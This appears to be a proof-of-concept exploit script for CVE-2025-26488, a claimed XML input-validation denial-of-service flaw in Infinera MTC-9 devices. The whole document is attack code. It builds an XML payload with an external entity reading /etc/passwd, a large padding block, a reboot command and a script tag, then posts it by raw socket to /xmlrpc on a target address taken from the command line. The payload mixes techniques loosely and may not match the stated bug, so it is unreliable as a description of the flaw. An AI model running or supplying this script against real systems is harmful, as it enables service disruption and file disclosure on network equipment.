CVE-2025-26488

#!/usr/bin/env python3 """ CVE-2025-26488 PoC - Infinera MTC-9 XML Input Validation DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import time def create_malicious_xml(): """Generate malicious XML payload to trigger the vulnerability""" # Malicious XML with deeply nested elements to trigger parser issues malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <device> <type>MTC-9</type> <command>reboot</command> <nested> <level1> <level2> <level3><![CDATA[ ''' + 'A' * 10000 + ''' ]]></level3> </level2> </level1> </nested> <![CDATA[ <script>malicious content here</script> ]]> </device> </root>''' return malicious_xml def send_xml_payload(target_ip, target_port=443): """Send malicious XML payload to target""" xml_payload = create_malicious_xml() http_request = f"POST /xmlrpc HTTP/1.1\r\n" http_request += f"Host: {target_ip}:{target_port}\r\n" http_request += "Content-Type: text/xml\r\n" http_request += f"Content-Length: {len(xml_payload)}\r\n" http_request += "Connection: close\r\n" http_request += "\r\n" http_request += xml_payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.sendall(http_request.encode()) print(f"[+] Malicious payload sent to {target_ip}:{target_port}") # Wait to observe service response time.sleep(2) response = sock.recv(4096) print(f"[*] Response received: {response[:100]}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f"[*] Sending CVE-2025-26488 exploit payload to {target}") send_xml_payload(target, port)

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